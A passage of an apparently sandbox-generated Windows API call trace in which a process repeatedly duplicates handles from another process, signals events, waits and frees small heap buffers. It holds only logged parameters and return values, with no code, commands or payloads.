DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.282] ResetEvent (hEvent=0x114) returned 1 [0259.282] SetEvent (hEvent=0x110) returned 1 [0259.283] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.283] NtClose (Handle=0x1c4) returned 0x0 [0259.283] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1a4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.283] ResetEvent (hEvent=0x114) returned 1 [0259.283] SetEvent (hEvent=0x110) returned 1 [0259.283] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.284] NtClose (Handle=0x1c4) returned 0x0 [0259.284] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1a8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.284] ResetEvent (hEvent=0x114) returned 1 [0259.284] SetEvent (hEvent=0x110) returned 1 [0259.284] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.284] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.284] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.284] NtClose (Handle=0x1c4) returned 0x0 [0259.284] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1ac, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.284] ResetEvent (hEvent=0x114) returned 1 [0259.284] SetEvent (hEvent=0x110) returned 1 [0259.285] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.285] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.285] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.285] NtClose (Handle=0x1c4) returned 0x0 [0259.285] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1b0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.285] ResetEvent (hEvent=0x114) returned 1 [0259.285] SetEvent (hEvent=0x110) returned 1 [0259.286] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.286] NtClose (Handle=0x1c4) returned 0x0 [0259.286] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1b4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.286] ResetEvent (hEvent=0x114) returned 1 [0259.286] SetEvent (hEvent=0x110) returned 1 [0259.286] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.286] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.286] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.286] NtClose (Handle=0x1c4) returned 0x0 [0259.286] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1b8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.286] ResetEvent (hEvent=0x114) returned 1 [0259.286] SetEvent (hEvent=0x110) returned 1 [0259.287] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.287] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.287] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.287] NtClose (Handle=0x1c4) returned 0x0 [0259.287] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1bc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.287] ResetEvent (hEvent=0x114) returned 1 [0259.287] SetEvent (hEvent=0x110) returned 1 [0259.287] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.288] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.288] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.288] NtClose (Handle=0x1c4) returned 0x0 [0259.288] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1c0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.288] ResetEvent (hEvent=0x114) returned 1 [0259.288] SetEvent (hEvent=0x110) returned 1 [0259.288] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.288] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.288] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.288] NtClose (Handle=0x1c4) returned 0x0 [0259.288] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1c4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.288] ResetEvent (hEvent=0x114) returned 1 [0259.288] SetEvent (hEvent=0x110) returned 1 [0259.289] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.289] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.289] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.289] NtClose (Handle=0x1c4) returned 0x0 [0259.289] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1c8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.289] ResetEvent (hEvent=0x114) returned 1 [0259.289] SetEvent (hEvent=0x110) returned 1 [0259.289] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.289] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.289] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.289] NtClose (Handle=0x1c4) returned 0x0 [0259.290] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1cc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.290] ResetEvent (hEvent=0x114) returned 1 [0259.290] SetEvent (hEvent=0x110) returned 1 [0259.290] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.290] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.290] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.290] NtClose (Handle=0x1c4) returned 0x0 [0259.290] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1d0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.290] ResetEvent (hEvent=0x114) returned 1 [0259.290] SetEvent (hEvent=0x110) returned 1 [0259.291] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.291] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.291] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.291] NtClose (Handle=0x1c4) returned 0x0 [0259.291] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1d4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.291] ResetEvent (hEvent=0x114) returned 1 [0259.291] SetEvent (hEvent=0x110) returned 1 [0259.291] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.291] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.291] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.291] NtClose (Handle=0x1c4) returned 0x0 [0259.291] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1d8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.291] ResetEvent (hEvent=0x114) returned 1 [0259.291] SetEvent (hEvent=0x110) returned 1 [0259.292] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.292] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.292] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.292] NtClose (Handle=0x1c4) returned 0x0 [0259.292] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1dc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.292] ResetEvent (hEvent=0x114) returned 1 [0259.292] SetEvent (hEvent=0x110) returned 1 [0259.292] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.293] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.293] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.293] NtClose (Handle=0x1c4) returned 0x0 [0259.293] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1e0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.293] ResetEvent (hEvent=0x114) returned 1 [0259.293] SetEvent (hEvent=0x110) returned 1 [0259.293] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.293] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.293] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.293] NtClose (Handle=0x1c4) returned 0x0 [0259.293] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1e4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.293] ResetEvent (hEvent=0x114) returned 1 [0259.293] SetEvent (hEvent=0x110) returned 1 [0259.294] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.294] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.294] NtClose (Handle=0x1c4) returned 0x0 [0259.294] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1e8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.294] ResetEvent (hEvent=0x114) returned 1 [0259.294] SetEvent (hEvent=0x110) returned 1 [0259.294] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.294] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.295] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.295] NtClose (Handle=0x1c4) returned 0x0 [0259.295] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1ec, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.295] ResetEvent (hEvent=0x114) returned 1 [0259.295] SetEvent (hEvent=0x110) returned 1 [0259.295] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.295] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.295] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.295] NtClose (Handle=0x1c4) returned 0x0 [0259.295] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1f0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.295] ResetEvent (hEvent=0x114) returned 1 [0259.295] SetEvent (hEvent=0x110) returned 1 [0259.296] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.296] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.296] NtClose (Handle=0x1c4) returned 0x0 [0259.296] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1f4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.296] ResetEvent (hEvent=0x114) returned 1 [0259.296] SetEvent (hEvent=0x110) returned 1 [0259.296] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.296] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.297] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.297] NtClose (Handle=0x1c4) returned 0x0 [0259.297] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1f8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.297] ResetEvent (hEvent=0x114) returned 1 [0259.297] SetEvent (hEvent=0x110) returned 1 [0259.297] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.297] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.297] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.297] NtClose (Handle=0x1c4) returned 0x0 [0259.297] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x1fc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.297] ResetEvent (hEvent=0x114) returned 1 [0259.297] SetEvent (hEvent=0x110) returned 1 [0259.298] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.298] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.298] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.298] NtClose (Handle=0x1c4) returned 0x0 [0259.298] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x200, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.298] ResetEvent (hEvent=0x114) returned 1 [0259.298] SetEvent (hEvent=0x110) returned 1 [0259.298] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.299] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.299] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.299] NtClose (Handle=0x1c4) returned 0x0 [0259.299] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x204, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.299] ResetEvent (hEvent=0x114) returned 1 [0259.299] SetEvent (hEvent=0x110) returned 1 [0259.299] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.299] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.299] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.299] NtClose (Handle=0x1c4) returned 0x0 [0259.299] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x208, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.299] ResetEvent (hEvent=0x114) returned 1 [0259.299] SetEvent (hEvent=0x110) returned 1 [0259.300] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.300] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.300] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.300] NtClose (Handle=0x1c4) returned 0x0 [0259.300] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x20c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.300] ResetEvent (hEvent=0x114) returned 1 [0259.300] SetEvent (hEvent=0x110) returned 1 [0259.300] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.300] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.301] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.301] NtClose (Handle=0x1c4) returned 0x0 [0259.301] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x210, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.301] ResetEvent (hEvent=0x114) returned 1 [0259.301] SetEvent (hEvent=0x110) returned 1 [0259.301] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.301] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.301] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.301] NtClose (Handle=0x1c4) returned 0x0 [0259.301] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x214, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.301] ResetEvent (hEvent=0x114) returned 1 [0259.301] SetEvent (hEvent=0x110) returned 1 [0259.302] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.302] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.302] NtClose (Handle=0x1c4) returned 0x0 [0259.302] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x218, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.302] ResetEvent (hEvent=0x114) returned 1 [0259.302] SetEvent (hEvent=0x110) returned 1 [0259.302] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.302] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.302] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.302] NtClose (Handle=0x1c4) returned 0x0 [0259.303] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x21c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.303] ResetEvent (hEvent=0x114) returned 1 [0259.303] SetEvent (hEvent=0x110) returned 1 [0259.303] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.303] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.303] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.303] NtClose (Handle=0x1c4) returned 0x0 [0259.303] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x220, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.303] ResetEvent (hEvent=0x114) returned 1 [0259.303] SetEvent (hEvent=0x110) returned 1 [0259.304] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.304] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.304] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.304] NtClose (Handle=0x1c4) returned 0x0 [0259.304] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x224, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.304] ResetEvent (hEvent=0x114) returned 1 [0259.304] SetEvent (hEvent=0x110) returned 1 [0259.304] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.304] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.304] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.304] NtClose (Handle=0x1c4) returned 0x0 [0259.304] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x228, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.304] ResetEvent (hEvent=0x114) returned 1 [0259.304] SetEvent (hEvent=0x110) returned 1 [0259.305] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.305] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.305] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.305] NtClose (Handle=0x1c4) returned 0x0 [0259.305] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x22c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.305] ResetEvent (hEvent=0x114) returned 1 [0259.305] SetEvent (hEvent=0x110) returned 1 [0259.306] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.306] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.306] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.306] NtClose (Handle=0x1c4) returned 0x0 [0259.306] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x230, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.306] ResetEvent (hEvent=0x114) returned 1 [0259.306] SetEvent (hEvent=0x110) returned 1 [0259.306] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.306] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.306] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.306] NtClose (Handle=0x1c4) returned 0x0 [0259.306] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x234, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.306] ResetEvent (hEvent=0x114) returned 1 [0259.306] SetEvent (hEvent=0x110) returned 1 [0259.307] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.307] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.307] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.307] NtClose (Handle=0x1c4) returned 0x0 [0259.307] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x238, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.307] ResetEvent (hEvent=0x114) returned 1 [0259.307] SetEvent (hEvent=0x110) returned 1 [0259.307] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.308] NtClose (Handle=0x1c4) returned 0x0 [0259.308] 